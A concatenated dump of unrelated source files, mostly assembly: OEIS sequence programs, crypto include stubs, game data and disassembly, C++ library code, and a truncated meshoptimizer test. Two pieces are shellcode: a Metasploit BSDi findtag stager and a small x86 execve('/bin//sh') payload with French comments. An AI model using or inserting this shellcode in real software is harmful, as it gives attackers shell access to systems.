NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %define CNTR_CCM_AVX %ifndef AES_CNTR_CCM_128 %define AES_CNTR_CCM_128 aes_cntr_ccm_128_avx %endif %include "avx/aes128_cntr_by8_avx.asm"
; A082986: Largest x such that 1/x + 1/y + 1/z = 1/n. ; 6,42,156,420,930,1806,3192,5256,8190,12210,17556,24492,33306,44310,57840,74256,93942,117306,144780,176820,213906,256542,305256,360600,423150,493506,572292,660156,757770,865830,985056,1116192,1260006,1417290,1588860,1775556,1978242,2197806,2435160,2691240,2967006,3263442,3581556,3922380,4286970,4676406,5091792,5534256,6004950,6505050,7035756,7598292,8193906,8823870,9489480,10192056,10932942,11713506,12535140,13399260,14307306,15260742,16261056,17309760,18408390,19558506,20761692,22019556,23333730,24705870,26137656,27630792,29187006,30808050,32495700,34251756,36078042,37976406,39948720,41996880,44122806,46328442,48615756,50986740,53443410,55987806,58621992,61348056,64168110,67084290,70098756,73213692,76431306,79753830,83183520,86722656,90373542,94138506,98019900,102020100,106141506,110386542,114757656,119257320,123888030,128652306,133552692,138591756,143772090,149096310,154567056,160186992,165958806,171885210,177968940,184212756,190619442,197191806,203932680,210844920,217931406,225195042,232638756,240265500,248078250,256080006,264273792,272662656,281249670,290037930,299030556,308230692,317641506,327266190,337107960,347170056,357455742,367968306,378711060,389687340,400900506,412353942,424051056,435995280,448190070,460638906,473345292,486312756,499544850,513045150,526817256,540864792,555191406,569800770,584696580,599882556,615362442,631140006,647219040,663603360,680296806,697303242,714626556,732270660,750239490,768537006,787167192,806134056,825441630,845093970,865095156,885449292,906160506,927232950,948670800,970478256,992659542,1015218906,1038160620,1061488980,1085208306,1109322942,1133837256,1158755640,1184082510,1209822306,1235979492,1262558556,1289564010,1317000390,1344872256,1373184192,1401940806,1431146730,1460806620,1490925156,1521507042,1552557006,1584079800,1616080200,1648563006,1681533042,1714995156,1748954220,1783415130,1818382806,1853862192,1889858256,1926375990,1963420410,2000996556,2039109492,2077764306,2116966110,2156720040,2197031256,2237904942,2279346306,2321360580,2363953020,2407128906,2450893542,2495252256,2540210400,2585773350,2631946506,2678735292,2726145156,2774181570,2822850030,2872156056,2922105192,2972703006,3023955090,3075867060,3128444556,3181693242,3235618806,3290226960,3345523440,3401514006,3458204442,3515600556,3573708180,3632533170,3692081406,3752358792,3813371256,3875124750,3937625250 add $0,2 mov $1,$0 sub $0,1 mul $1,$0 add $1,1 bin $1,2 mul $1,2
; A036228: a(1) = 31; a(n+1) = a(n) + sum of decimal digits of a(n). ; Submitted by Jamie Morken(w4) ; 31,35,43,50,55,65,76,89,106,113,118,128,139,152,160,167,181,191,202,206,214,221,226,236,247,260,268,284,298,317,328,341,349,365,379,398,418,431,439,455,469,488,508,521,529,545,559,578,598,620,628,644,658,677,697,719,736,752,766,785,805,818,835,851,865,884,904,917,934,950,964,983,1003,1007,1015,1022,1027,1037,1048,1061,1069,1085,1099,1118,1129,1142,1150,1157,1171,1181,1192,1205,1213,1220,1225,1235,1246,1259,1276,1292 mov $2,$0 add $2,30 mov $3,$0 lpb $3 mov $0,$2 sub $2,1 sub $3,1 sub $0,$3 seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n). add $2,$0 lpe mov $0,$2 add $0,1
// Copyright (c) Facebook, Inc. and its affiliates. // This source code is licensed under the MIT license found in the // LICENSE file in the root directory of this source tree. #include "ShadowTreeRegistry.h" namespace facebook { namespace react { void ShadowTreeRegistry::add(std::unique_ptr<ShadowTree> &&shadowTree) const { std::unique_lock<better::shared_mutex> lock(mutex_); registry_.emplace(shadowTree->getSurfaceId(), std::move(shadowTree)); } std::unique_ptr<ShadowTree> ShadowTreeRegistry::remove( SurfaceId surfaceId) const { std::unique_lock<better::shared_mutex> lock(mutex_); auto iterator = registry_.find(surfaceId); auto shadowTree = std::unique_ptr<ShadowTree>(iterator->second.release()); registry_.erase(iterator); return shadowTree; } bool ShadowTreeRegistry::visit( SurfaceId surfaceId, std::function<void(const ShadowTree &shadowTree)> callback) const { std::shared_lock<better::shared_mutex> lock(mutex_); auto iterator = registry_.find(surfaceId); if (iterator == registry_.end()) { return false; } callback(*iterator->second); return true; } void ShadowTreeRegistry::enumerate( std::function<void(const ShadowTree &shadowTree, bool &stop)> callback) const { std::shared_lock<better::shared_mutex> lock(mutex_); bool stop = false; for (auto const &pair : registry_) { callback(*pair.second, stop); if (stop) { break; } } } } // namespace react } // namespace facebook
// // Copyright (c) 2015-2020 Microsoft Corporation and Contributors. // SPDX-License-Identifier: Apache-2.0 // #include "BandwidthController_ResourceManager.hpp" #include "ResourceManager/RMPublic_BitStream.hpp" namespace MAT_NS_BEGIN { BandwidthController_ResourceManager::BandwidthController_ResourceManager(::resource_manager2::ResourceManagerPtr const& rm) : m_rm(rm) { if (m_rm.isNull()) { return; } // ResourceManager is already informed about the actual telemetry upload // traffic by HttpStack through RM class TcpRequest. All such HttpStack // requests are also correctly labeled for throttling. So this class // should not report any actual traffic to RM, because that would result // in it being counted twice towards the total bandwidth. // // But a connection and a stream need to be created nevertheless in order // to get proposed bandwidth recommendations for a dummy outbound stream // of type "DataRV". m_conn = m_rm->createConnection(true, 1122334455, false, NULL); if (m_conn.isNull()) { return; } m_stream = m_rm->createOutboundStream(resource_manager2::StreamConfig(), resource_manager2::DataRV); if (m_stream.isNull()) { return; } m_conn->attachStream(m_stream->getTag()); } BandwidthController_ResourceManager::~BandwidthController_ResourceManager() { if (!m_stream.isNull()) { m_conn->detachStream(m_stream->getTag()); } } unsigned BandwidthController_ResourceManager::GetProposedBandwidthBps() { if (m_stream.isNull()) { return ~0; } resource_manager2::StreamStatus status; m_stream->getStatus(status); return status.proposedBandwidthBps; } } MAT_NS_END
;; ; ; Name: stager_sock_find ; Qualities: Can Have Null ; Platforms: BSDi ; Authors: skape <mmiller [at] hick.org> ; optyx <optyx [at] uberhax0r.net> ; Version: $Revision: 1633 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a BSDi tag based findsock TCP stager. ; ; File descriptor in edi. ; ; Meta-Information: ; ; meta-shortname=BSDi FindTag Stager ; meta-description=Run a second stage from an established connection ; meta-authors=skape <mmiller [at] hick.org> ; meta-os=bsdi ; meta-arch=ia32 ; meta-category=stager ; meta-connection-type=findtag ; meta-name=find ; meta-basemod=Msf::PayloadComponent::FindConnection ; meta-offset-findtag=0x23 ;; BITS 32 GLOBAL _start _start: initialization: push 0xc3000700 mov eax, 0x9a cdq push eax mov esi, esp initialize_stack: push edx mov esi, esp push byte 0x40 mov dh, 0xa push edx push esi push edx findtag: inc word [esp] push byte 0x66 ; XXX pop eax call esi cmp dword [esi], 0x2166736d ; tag: msf! jnz findtag pop edi %ifndef USE_SINGLE_STAGE cld lodsd jmp esi %endif
; A142986: a(1) = 1, a(2) = 8, a(n+2) = 8*a(n+1) + (n+1)*(n+2)*a(n). ; Submitted by Christian Krause ; 1,8,70,656,6648,72864,862128,10977408,149892480,2187106560,33985025280,560578268160,9786290088960,180315565516800,3497645442816000,71256899266560000,1521414754578432000,33975929212194816000,792131279763382272000,19247903338741088256000,486678364210549260288000,12785958256182776856576000,348546918340000140558336000,9846224304132893949296640000,287897945437063235929374720000,8703229361182886954477813760000,271730192586281487258243563520000,8753482937744514435651175710720000 add $0,1 mov $3,1 lpb $0 mov $2,$3 mul $2,$0 sub $0,1 mul $3,8 add $3,$1 mov $1,$0 mul $1,$2 lpe mov $0,$2
Route11Object: db $f ; border block db $5 ; warps db $8, $31, $0, ROUTE_11_GATE_1F db $9, $31, $0, ROUTE_11_GATE_1F db $8, $3a, $2, ROUTE_11_GATE_1F db $9, $3a, $2, ROUTE_11_GATE_1F db $5, $4, $0, DIGLETTS_CAVE_ENTRANCE db $1 ; signs db $5, $1, $b ; Route11Text11 db $b ; objects object SPRITE_GAMBLER, $a, $e, STAY, DOWN, $1, OPP_GAMBLER, $1 object SPRITE_GAMBLER, $1a, $9, STAY, DOWN, $2, OPP_GAMBLER, $2 object SPRITE_BUG_CATCHER, $d, $5, STAY, LEFT, $3, OPP_YOUNGSTER, $9 object SPRITE_BLACK_HAIR_BOY_2, $24, $b, STAY, DOWN, $4, OPP_ENGINEER, $2 object SPRITE_BUG_CATCHER, $16, $4, STAY, UP, $5, OPP_YOUNGSTER, $a object SPRITE_GAMBLER, $2d, $7, STAY, DOWN, $6, OPP_GAMBLER, $3 object SPRITE_GAMBLER, $21, $3, STAY, UP, $7, OPP_GAMBLER, $4 object SPRITE_BUG_CATCHER, $2b, $5, STAY, RIGHT, $8, OPP_YOUNGSTER, $b object SPRITE_BLACK_HAIR_BOY_2, $2d, $10, STAY, LEFT, $9, OPP_ENGINEER, $3 object SPRITE_BUG_CATCHER, $16, $c, STAY, UP, $a, OPP_YOUNGSTER, $c object SPRITE_BERRY_TREE, $30, $c, NONE, $ff, $c ; warp-to EVENT_DISP ROUTE_11_WIDTH, $8, $31 ; ROUTE_11_GATE_1F EVENT_DISP ROUTE_11_WIDTH, $9, $31 ; ROUTE_11_GATE_1F EVENT_DISP ROUTE_11_WIDTH, $8, $3a ; ROUTE_11_GATE_1F EVENT_DISP ROUTE_11_WIDTH, $9, $3a ; ROUTE_11_GATE_1F EVENT_DISP ROUTE_11_WIDTH, $5, $4 ; DIGLETTS_CAVE_ENTRANCE
;nasm -f bin shell.asm -o shell.bin bits 32 shellcode: ; on reinitialise les registres suivant xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 11 ; on fais appel au syscall 11 execve al pour eviter les null-bytes push ebx ; ebx = 0 on a notre null-bytes push `n/sh` push `//bi` ; on pousse sur la pile a lire de bas en haut donc //bin/sh mov ebx, esp ; on met dans ebx l'addresse de notre chaine ; ecx et edx son deja (NULL) (0) int 0x80 ; on execute l'appel systeme mov al, 1 xor ebx, ebx int 0x80 ; on sort du programme
; A222170: a(n) = n^2 + 2*floor(n^2/3). ; 0,1,6,15,26,41,60,81,106,135,166,201,240,281,326,375,426,481,540,601,666,735,806,881,960,1041,1126,1215,1306,1401,1500,1601,1706,1815,1926,2041,2160,2281,2406,2535,2666,2801,2940,3081,3226,3375,3526,3681,3840,4001,4166,4335,4506,4681,4860,5041,5226,5415,5606,5801,6000,6201,6406,6615,6826,7041,7260,7481,7706,7935,8166,8401,8640,8881,9126,9375,9626,9881,10140,10401,10666,10935,11206,11481,11760,12041,12326,12615,12906,13201,13500,13801,14106,14415,14726,15041,15360,15681,16006,16335,16666,17001,17340,17681,18026,18375,18726,19081,19440,19801,20166,20535,20906,21281,21660,22041,22426,22815,23206,23601,24000,24401,24806,25215,25626,26041,26460,26881,27306,27735,28166,28601,29040,29481,29926,30375,30826,31281,31740,32201,32666,33135,33606,34081,34560,35041,35526,36015,36506,37001,37500,38001,38506,39015,39526,40041,40560,41081,41606,42135,42666,43201,43740,44281,44826,45375,45926,46481,47040,47601,48166,48735,49306,49881,50460,51041,51626,52215,52806,53401,54000,54601,55206,55815,56426,57041,57660,58281,58906,59535,60166,60801,61440,62081,62726,63375,64026,64681,65340,66001,66666,67335,68006,68681,69360,70041,70726,71415,72106,72801,73500,74201,74906,75615,76326,77041,77760,78481,79206,79935,80666,81401,82140,82881,83626,84375,85126,85881,86640,87401,88166,88935,89706,90481,91260,92041,92826,93615,94406,95201,96000,96801,97606,98415,99226,100041,100860,101681,102506,103335 mov $1,$0 mul $1,5 mul $1,$0 div $1,3
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2017 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define GCM256_MODE 1 %define NT_LDST %define FUNCT_EXTENSION _nt %include "gcm_sse.asm"
; ######################################################################################## ; # Generated by the active disassembly feature of the Exodus emulation platform ; # ; # Description: item menu layout subroutines ; # Creation Date: 2020-12-31 18:39:43 ; # Analysis Region: 0x0000A000 - 0x0000B000 ; ######################################################################################## ; PC $84BE sets some initial values from RAM at $FF32C8, jumping to $a21c PartyList equ #$00FFCED6 ; used for getting selected party member, whose inventory will be displayed PlayerRAMOffset equ #$00FFCEDC ; start of player data block in RAM Stack equr a7 org $a1f2 get_player_ram_offset: MOVE.l D0, -(Stack) LEA PlayerRAMOffset, A0 MOVEQ #$00000012, D0 loop_for_current_player: TST.b (A0) ; first byte of player id might be $00 if dead or something? BEQ.b player_dead CMP.b (A0), D2 ; d2 has selected player id BEQ.b found_player_offset player_dead: ADDA.w #$0050, A0 ; party member data is $50 bytes so increment by $50 until match found DBF D0, loop_for_current_player ;Predicted (Code-scan) CLR.w D0 ;Predicted (Code-scan) MOVEM.l (Stack)+, D0 ;Predicted (Code-scan) RTS ;Predicted (Code-scan) found_player_offset: MOVEQ #1, D0 MOVEM.l (Stack)+, D0 ; one d0 value was $b RTS ; $a4bc loc_0000a21c: MOVE.l A0, -(Stack) ; put previous string pointer on stack (the use/give/drop submenu, for example) EXT.w D2 ; d2 was loaded from RAM $ff32ce , around PC $84BE, has selected party member index LEA PartyList, A0 MOVE.b (A0,D2.w), D2 ; this put $01 in D2, selected party member's ID MOVEA.l (Stack)+, A0 ; puts old string pointer back in a0 RTS ; returns to $84DA sometimes. sets d0 = $b, d1 = $e, then branch to $a4b4 loc_0000A384: MOVEM.l A0/D7/D5/D4/D3/D2/D1/D0, -(Stack) MOVE.w D2, D5 MOVE.w D3, D7 ; d2 and d3 were set to $1 previously... MOVEQ #5, D4 ; number of loops / rows of items CLR.w D6 CLR.w D3 start_drawing_row: LEA blank_spaces_x9(PC), A0 ; contains a string of 9 $3F bytes, empty spaces, to blank areas before writing to it BSR.w write_string ; $3628 , checks for linebreak / dakutens.. ; branch to $367c if null byte, $3652 for either dakuten, $3664 if not <br>, ; then $1dee to print to vdp. going into $1dee, d1 is y offset, d0 is x offset probably TST.w D7 ; d7 was 1 BNE.b store_item_id_leftside CLR.w D2 ;Predicted (Code-scan) MOVE.b (A1,D3.w), D2 ;Predicted (Code-scan) BRA.b check_equipped_leftside ;Predicted (Code-scan) store_item_id_leftside: MOVE.w (A1,D3.w), D2 ; d3 is item index, gets item id into d2 check_equipped_leftside: BEQ.b no_more_items_leftside ; if no more items maybe? MOVE.l D2, -(Stack) ; item id to stack BTST.l #$0F, D2 ; check if item currently equipped ($80xx) BEQ.b item_not_equipped_leftside MOVE.w #$E56F, D2 ; $E56F is small E for "equipped" items BRA.b draw_e_or_not_leftside item_not_equipped_leftside: MOVE.w #$E52F, D2 ; $E52F is vram offset for empty space draw_e_or_not_leftside: MOVEA.w #$C000, A0 JSR write_to_vdp ; $1dee draws to vdp MOVE.l (Stack)+, D2 ADDQ.w #1, D0 ; increment x offset? BSR.w get_item_offset BSR.w write_string ; $3628 again, this time with $c and $e as x and y (d0, d1) ; and writing item name instead of spaces! ADDQ.w #8, D0 ; move over for second column, maybe? ADDQ.w #1, D6 ; printed item counter maybe? ADDQ.w #1, D3 ; ?? both these went from $0 to $1 ADD.w D7, D3 ; new d3 == $2 after first item printed, d3 is $6 after the third item printed .. BRA.b draw_rightside no_more_items_leftside: ADDI.w #9, D0 ADDQ.w #1, D3 ADD.w D7, D3 draw_rightside: TST.w D5 BEQ.b back_to_leftside LEA blank_spaces_x9(PC), A0 BSR.w write_string TST.w D7 ; seems to be $01 all the time? BNE.b loc_0000A3FE CLR.w D2 ;Predicted (Code-scan) MOVE.b (A1,D3.w), D2 ;Predicted (Code-scan) BRA.b loc_0000A402 ;Predicted (Code-scan) loc_0000A3FE: MOVE.w (A1,D3.w), D2 ; puts new item id in d2 loc_0000A402: BEQ.b no_more_items ; maybe different for left/right columns?? MOVE.l D2, -(Stack) BTST.l #$0F, D2 ; check if item currently equipped ($80xx) BEQ.b not_equipped_rightside MOVE.w #$E56F, D2 ; vram offset for 'E' equipped mark BRA.b loc_0000A416 not_equipped_rightside: MOVE.w #$E52F, D2 ;Predicted (Code-scan) loc_0000A416: MOVEA.w #$C000, A0 JSR write_to_vdp MOVE.l (Stack)+, D2 ; gets item id back into d2 ADDQ.w #1, D0 ; increment x offset BSR.w get_item_offset BSR.w write_string SUBI.w #$000A, D0 ; x offset had gone up to $15, drop back to $b ADDQ.w #2, D1 ; go down two rows (one for dakuten, one for next row of items) ADDQ.w #1, D6 ; item counter or..? ADDQ.w #1, D3 ADD.w D7, D3 BRA.b loop_print_rows no_more_items: ADDQ.w #1, D3 ADD.w D7, D3 back_to_leftside: SUBI.w #9, D0 ADDQ.w #2, D1 loop_print_rows: DBF D4, start_drawing_row ; d4 was set to 5 a very long time ago ... 6 rows of items? probably MOVEM.l (Stack)+, D0/D1/D2/D3/D4/D5/D7/A0 RTS blank_spaces_x9: dc.b $3F ;0x0 (0x0000A44E-0x0000A44F, Entry count: 0x1) dc.b $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $00 ;0x0 (0x0000A44F-0x0000A458, Entry count: 0x9) ; $a458 get_item_offset: MOVE.l D2, -(Stack) ; item id to stack LEA $000130C6, A0 ; item data base offset ANDI.w #$00FF, D2 ; mask out rental / equip status of item SUBQ.w #1, D2 MULU.w #$0020, D2 ; each item block is $20 bytes of data ADDA.l D2, A0 ; gets offset of current item name MOVE.l (Stack)+, D2 RTS ; $a3d0 org a4b4 loc_0000a4b4: MOVEM.l A1/A0, -(Stack) BSR.w get_player_ram_offset MOVEA.l A0, A1 ; copy player ram offset to a1 ADDA.w #$001A, A1 ; list of inventory items starts $1a after player data block start MOVEQ #1, D2 MOVEQ #1, D3 BSR.w loc_0000A384 TST.w D6 BNE.b loc_0000A4D8 BSR.w *+$E596 ;Predicted (Code-scan) ADDQ.w #1, D0 ;Predicted (Code-scan) BSR.w *+$9152 ;Predicted (Code-scan) loc_0000A4D8: MOVEQ #7, D2 MOVEQ #0, D3 MOVEQ #2, D4 MOVEQ #6, D5 SUBQ.w #1, D6 MOVEM.l (Stack)+, A0/A1 RTS org $3628 write_string: org $1dee write_to_vdp:
; The draw code for the 1st wall and it's second shadow dc_w1s2: SUBROUTINE LDX #UPPRWALL_S - 1 .loop: LDA wallColour STA WSYNC STA COLUPF LDA wall1 STA PF1 TYA BEQ .noSprite_1 .branchPoint_1: DEY CPY spriteHeight BCS .noSprite_2 .branchPoint_2: LDA (sprite),Y STA GRP0 .noSprite_ret: LDA wall1 STA PF2 DELAY 6 STA PF0 DELAY 19 LDA #NULL STA PF2 STA PF0 STA WSYNC LDA shadowColour STA COLUPF LDA shadow1a AND and_1a,X STA PF1 LDA shadow1b AND and_1b,X STA PF2 DELAY 9 LDA shadow1d AND and_1c,X STA PF1 LDA shadow1e AND and_1d,X STA PF2 LDA #NULL STA GRP0 DEX CPX #LOWRWALL_S BNE .loop JMP dc_wallsEnd .noSprite_1: IF >.branchPoint_1 == >.noSprite_1 DELAY 11 ELSE DELAY 10 ENDIF JMP .noSprite_ret .noSprite_2: IF >.branchPoint_2 == >.noSprite_2 DELAY 4 ELSE DELAY 3 ENDIF JMP .noSprite_ret
; A031906: a(n) = prime(6*n - 5). ; Submitted by Jon Maiga ; 2,17,41,67,97,127,157,191,227,257,283,331,367,401,439,467,509,563,599,631,661,709,751,797,829,877,919,967,1009,1039,1087,1117,1171,1217,1259,1297,1327,1409,1447,1483,1523,1567,1607,1637,1697,1741 mul $0,6 seq $0,156037 ; Largest nonprime < n-th prime. add $0,1
#include "../src/meshoptimizer.h" #include <assert.h> #include <stdlib.h> #include <string.h> #include <vector> // This file uses assert() to verify algorithm correctness #undef NDEBUG #include <assert.h> struct PV { unsigned short px, py, pz; unsigned char nu, nv; // octahedron encoded normal, aliases .pw unsigned short tx, ty; }; // note: 4 6 5 triangle here is a combo-breaker: // we encode it without rotating, a=next, c=next - this means we do *not* bump next to 6 // which means that the next triangle can't be encoded via next sequencing! static const unsigned int kIndexBuffer[] = {0, 1, 2, 2, 1, 3, 4, 6, 5, 7, 8, 9}; static const unsigned char kIndexDataV0[] = { 0xe0, 0xf0, 0x10, 0xfe, 0xff, 0xf0, 0x0c, 0xff, 0x02, 0x02, 0x02, 0x00, 0x76, 0x87, 0x56, 0x67, 0x78, 0xa9, 0x86, 0x65, 0x89, 0x68, 0x98, 0x01, 0x69, 0x00, 0x00, // clang-format :-/ }; static const PV kVertexBuffer[] = { {0, 0, 0, 0, 0, 0, 0}, {300, 0, 0, 0, 0, 500, 0}, {0, 300, 0, 0, 0, 0, 500}, {300, 300, 0, 0, 0, 500, 500}, }; static const unsigned char kVertexDataV0[] = { 0xa0, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x58, 0x57, 0x58, 0x01, 0x26, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x00, 0x00, 0x58, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x17, 0x18, 0x17, 0x01, 0x26, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x00, 0x00, 0x17, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // clang-format :-/ }; static void decodeIndexV0() { const size_t index_count = sizeof(kIndexBuffer) / sizeof(kIndexBuffer[0]); std::vector<unsigned char> buffer(kIndexDataV0, kIndexDataV0 + sizeof(kIndexDataV0)); unsigned int decoded[index_count]; assert(meshopt_decodeIndexBuffer(decoded, index_count, &buffer[0], buffer.size()) == 0); assert(memcmp(decoded, kIndexBuffer, sizeof(kIndexBuffer)) == 0); } static void decodeIndex16() { const size_t index_count = sizeof(kIndexBuffer) / sizeof(kIndexBuffer[0]); const size_t vertex_count = 10; std::vector<unsigned char> buffer(meshopt_encodeIndexBufferBound(index_count, vertex_count)); buffer.resize(meshopt_encodeIndexBuffer(&buffer[0], buffer.size(), kIndexBuffer, index_count)); unsigned short decoded[index_count]; assert(meshopt_decodeIndexBuffer(decoded, index_count, &buffer[0], buffer.size()) == 0); for (size_t i = 0; i < index_count; ++i) assert(decoded[i] == kIndexBuffer[i]); } static void encodeIndexMemorySafe() { const size_t index_count = sizeof(kIndexBuffer) / sizeof(kIndexBuffer[0]); const size_t vertex_count = 10; std::vector<unsigned char> buffer(meshopt_encodeIndexBufferBound(index_count, vertex_count)); buffer.resize(meshopt_encodeIndexBuffer(&buffer[0], buffer.size(), kIndexBuffer, index_count)); // check that encode is memory-safe; note that we reallocate the buffer for each try to make sure ASAN can verify buffer access for (size_t i = 0; i <= buffer.size(); ++i) { std::vector<unsigned char> shortbuffer(i); size_t result = meshopt_encodeIndexBuffer(i == 0 ? 0 : &shortbuffer[0], i, kIndexBuffer, index_count); if (i == buffer.size()) assert(result == buffer.size()); else assert(result == 0); } } static void decodeIndexMemorySafe() { const size_t index_count = sizeof(kIndexBuffer) / sizeof(kIndexBuffer[0]); const size_t vertex_count = 10; std::vector<unsigned char> buffer(meshopt_encodeIndexBufferBound(index_count, vertex_count)); buffer.resize(meshopt_encodeIndexBuffer(&buffer[0], buffer.size(), kIndexBuffer, index_count)); // check that decode is memory-safe; note that we reallocate the buffer for each try to make sure ASAN can verify buffer access unsigned int decoded[index_count]; for (size_t i = 0; i <= buffer.size(); ++i) { std::vector<unsigned char> shortbuffer(buffer.begin(), buffer.begin() + i); int result = meshopt_decodeIndexBuffer(decoded, index_count, i == 0 ? 0 : &shortbuffer[0], i); if (i == buffer.size()) assert(result == 0); else assert(result < 0); } } static void decodeIndexRejectExtraBytes() { const size_t index_count = sizeof(kIndexBuffer) / sizeof(kIndexBuffer[0]); const size_t vertex_count = 10; std::vector<unsigned char> buffer(meshopt_encodeIndexBufferBound(index_count, vertex_count)); buffer.resize(meshopt_encodeIndexBuffer(&buffer[0], buffer.size(), kIndexBuffer, index_count)); // check that decoder doesn't accept extra bytes after a valid stream std::vector<unsigned char> largebuffer(buffer); largebuffer.push_back(0); unsigned int decoded[index_count]; assert(meshopt_decodeIndexBuffer(decoded, index_count, &largebuffer[0], largebuffer.size()) < 0); } static void decodeIndexRejectMalformedHeaders() { const size_t index_count = sizeof(kIndexBuffer) / sizeof(kIndexBuffer[0]); const size_t vertex_count = 10; std::vector<unsigned char> buffer(meshopt_encodeIndexBufferBound(index_count, vertex_count)); buffer.resize(meshopt_encodeIndexBuffer(&buffer[0], buffer.size(), kIndexBuffer, index_count)); // check that decoder doesn't accept malformed headers std::vector<unsigned char> brokenbuffer(buffer); brokenbuffer[0] = 0; unsigned int decoded[index_count]; assert(meshopt_decodeIndexBuffer(decoded, index_count, &brokenbuffer[0], brokenbuffer.size()) < 0); } static void decodeVertexV0() { const size_t vertex_count = sizeof(kVertexBuffer) / sizeof(kVertexBuffer[0]); std::vector<unsigned char> buffer(kVertexDataV0, kVertexDataV0 + sizeof(kVertexDataV0)); PV decoded[vertex_count]; assert(meshopt_decodeVertexBuffer(decoded, vertex_count, sizeof(PV), &buffer[0], buffer.size()) == 0); assert(memcmp(decoded, kVertexBuffer, sizeof(kVertexBuffer)) == 0); } static void encodeVertexMemorySafe() { const size_t vertex_count = sizeof(kVertexBuffer) / sizeof(kVertexBuffer[0]); std::vector<unsigned char> buffer(meshopt_encodeVertexBufferBound(vertex_count, sizeof(PV))); buffer.resize(meshopt_encodeVertexBuffer(&buffer[0], buffer.size(), kVertexBuffer, vertex_count, sizeof(PV))); // check that encode is memory-safe; note that we reallocate the buffer for each try to make sure ASAN can verify buffer access for (size_t i = 0; i <= buffer.size(); ++i) { std::vector<unsigned char> shortbuffer(i); size_t result = meshopt_encodeVertexBuffer(i == 0 ? 0 : &shortbuffer[0], i, kVertexBuffer, vertex_count, sizeof(PV)); if (i == buffer.size()) assert(result == buffer.size()); else assert(result == 0); } } static void decodeVertexMemorySafe() { const size_t vertex_count = sizeof(kVertexBuffer) / sizeof(kVertexBuffer[0]); std::vector<unsigned char> buffer(meshopt_encodeVertexBufferBound(vertex_count, sizeof(PV))); buffer.resize(meshopt_encodeVertexBuffer(&buffer[0], buffer.size(), kVertexBuffer, vertex_count, sizeof(PV))); // check that decode is memory-safe; note that we reallocate the buffer for each try to make sure ASAN can verify buffer access PV decoded[vertex_count]; for (size_t i = 0; i <= buffer.size(); ++i) { std::vector<unsigned char> shortbuffer(buffer.begin(), buffer.begin() + i); int result = meshopt_decodeVertexBuffer(decoded, vertex_count, sizeof(PV), i == 0 ? 0 : &shortbuffer[0], i); (void)result; if (i == buffer.size()) assert(result == 0); else assert(result < 0); } } static void decodeVertexRejectExtraBytes() { const size_t vertex_count = sizeof(kVertexBuffer) / sizeof(kVertexBuffer[0]); std::vector<unsigned char> buffer(meshopt_encodeVertexBufferBound(vertex_count, sizeof(PV))); buffer.resize(meshopt_encodeVertexBuffer(&buffer[0], buffer.size(), kVertexBuffer, vertex_count, sizeof(PV))); // check that decoder doesn't accept extra bytes after a valid stream std::vector<unsigned char> largebuffer(buffer); largebuffer.push_back(0); PV decoded[vertex_count]; assert(meshopt_decodeVertexBuffer(decoded, vertex_count, sizeof(PV), &largebuffer[0], largebuffer.size()) < 0); } static void decodeVertexRejectMalformedHeaders() { const size_t vertex_count = sizeof(kVertexBuffer) / sizeof(kVertexBuffer[0]); std::vector<unsigned char> buffer(meshopt_encodeVertexBufferBound(vertex_count, sizeof(PV))); buffer.resize(meshopt_encodeVertexBuffer(&buffer[0], buffer.size(), kVertexBuffer, vertex_count, sizeof(PV))); // check that decoder doesn't accept malformed headers std::vector<unsigned char> brokenbuffer(buffer); brokenbuffer[0] = 0; PV decoded[vertex_count]; assert(meshopt_decodeVertexBuffer(decoded, vertex_count, sizeof(PV), &brokenbuffer[0], brokenbuffer.size()) < 0); } static void clusterBoundsDegenerate() { const float vbd[] = {0, 0, 0, 0, 0, 0, 0, 0, 